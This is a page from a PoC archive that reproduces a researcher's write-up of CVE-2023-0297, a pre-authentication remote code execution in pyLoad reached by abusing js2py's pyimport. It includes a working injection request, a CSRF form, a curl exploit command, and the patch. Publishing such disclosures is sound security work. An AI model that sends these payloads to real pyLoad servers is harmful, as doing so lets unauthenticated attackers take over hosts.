Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1310 CNY

100%

CVE-2023-0297 PoC — Code Injection in pyload/pyload

Source
Associated Vulnerability
Title: Code Injection in pyload/pyload (CVE-2023-0297)
Description:Code Injection in GitHub repository pyload/pyload prior to 0.5.0b3.dev31.
Description
CVE-2023-0297: The Story of Finding Pre-auth RCE in pyLoad
Readme
# CVE-2023-0297: Pre-auth RCE in pyLoad

The Story of Finding Pre-auth RCE in pyLoad

## TL;DR

A code injection vulnerability in pyLoad versions prior to 0.5.0b3.dev31 leads to pre-auth RCE by abusing `js2py`'s functionality.

You can find the report [here](https://huntr.dev/bounties/3fd606f7-83e1-4265-b083-2e1889a05e65/) and exploit code [here](https://github.com/bAuh0lz/Pre-auth-RCE-in-pyLoad#exploit-code).

## Details

[pyLoad](https://pyload.net/) is an OSS download manager written in Python and manageable via web interface. Its [GitHub repository](https://github.com/pyload/pyload) has approx. 2.8k stars as of Jan 9th 2023.

While I was auditing pyLoad's source code, the following code caught my eyes:

[cnl_blueprint.py#L124](https://github.com/pyload/pyload/blob/6aa71cd99a6f510de7137d17ec99f930916704c0/src/pyload/webui/app/blueprints/cnl_blueprint.py#L124)

```python
    jk = eval_js(f"{jk} f()")
```

The definition of `eval_js` function is as follows:

[misc.py#L25-L27](https://github.com/pyload/pyload/blob/6aa71cd99a6f510de7137d17ec99f930916704c0/src/pyload/core/utils/misc.py#L25-L27)

```python
def eval_js(script, es6=False):
    # return requests_html.HTML().render(script=script, reload=False)
    return (js2py.eval_js6 if es6 else js2py.eval_js)(script)
```

`eval_js(f"{jk} f()")` uses [js2py](http://piter.io/projects/js2py)'s functionality which runs JavaScript code `f"{jk} f()"` where `jk` parameter is passed by a request parameter:

[cnl_blueprint.py#L120](https://github.com/pyload/pyload/blob/6aa71cd99a6f510de7137d17ec99f930916704c0/src/pyload/webui/app/blueprints/cnl_blueprint.py#L120)

```python
    jk = flask.request.form["jk"]
```

Therefore you can run arbitrary JavaScript code by requesting the endpoint.

However, how can you abuse it? Since in the `js2py.eval_js()` context neither `XMLHttpRequest`, `fetch` nor `require` (like node.js) are not defined so SSRF or reading local files are not a thing.

After spending some time, I found a fancy `js2py`'s functionality:

[pyimport statement](https://github.com/PiotrDabkowski/Js2Py#pyimport-statement)

```md
Finally, Js2Py also supports importing any Python code from JavaScript using 'pyimport' statement:

>>> x = """pyimport urllib;
           var result = urllib.urlopen('https://www.google.com/').read();
           console.log(result.length)
        """
>>> js2py.eval_js(x)
18211
undefined
```

By using this functionality, you can use Python libraries in `js2py.eval_js()` context! Surprisingly `pyimport` is enabled by default. :o

I tried simple code that runs OS command by using `pyimport`:

```bash
$ ls /tmp/pwnd
ls: /tmp/pwnd: No such file or directory

$ python -c 'import js2py; js2py.eval_js("pyimport os; os.system(\"touch /tmp/pwnd\")")'

$ ls /tmp/pwnd
/tmp/pwnd
```

As expected, `touch /tmp/pwnd` was executed!

By sending the following request, the same thing would happen in the target host:

```http
POST /flash/addcrypted2 HTTP/1.1
Host: <target>
Content-Type: application/x-www-form-urlencoded

jk=pyimport%20os;os.system("touch%20/tmp/pwnd");f=function%20f2(){};&package=xxx&crypted=AAAA&&passwords=aaaa
```

`;f=function%20f2(){};` part in `jk` parameter is necessary as this endpoint runs `eval_js(f"{jk} f()")`. If not present, injected code won't get executed due to `name 'f' is not defined` error.

Note that a cookie and CSRF token are not present in the request. It means that:
- An unauthenticated attacker who can access the target host is capable of RCE.
- Even though an attacker cannot access the target host, they can trick a victim who can access the target host to do RCE by a CSRF attack:

```html
<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://<target>/flash/addcrypted2" method="POST">
      <input type="hidden" name="package" value="xxx" />
      <input type="hidden" name="crypted" value="AAAA" />
      <input type="hidden" name="jk" value="pyimport&#32;os&#59;os&#46;system&#40;&quot;touch&#32;&#47;tmp&#47;pwnd&quot;&#41;&#59;f&#61;function&#32;f2&#40;&#41;&#123;&#125;&#59;" />
      <input type="hidden" name="passwords" value="aaaa" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>
```

## Exploit Code

```bash
curl -i -s -k -X $'POST' \
    --data-binary $'jk=pyimport%20os;os.system(\"touch%20/tmp/pwnd\");f=function%20f2(){};&package=xxx&crypted=AAAA&&passwords=aaaa' \
    $'http://<target>/flash/addcrypted2'
```

## Patch

Just disable `pyimport` functionality.

[misc.py](https://github.com/pyload/pyload/commit/7d73ba7919e594d783b3411d7ddb87885aea782d)

```patch
 import js2py
 
+js2py.disable_pyimport()
 ```

## Timeline

- 2023-01-02: Reported to [huntr.dev](https://huntr.dev/)
- 2023-01-04: Vulnerability verified
- 2023-01-04: Vulnerability fixed and report published
- 2023-01-14: CVE ID assigned

Thanks to hunr.dev team and a pyLoad maintainer for quick responses!
File Snapshot

Log in to view the POC file snapshot cached by Shenlong Bot

Log in to view
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →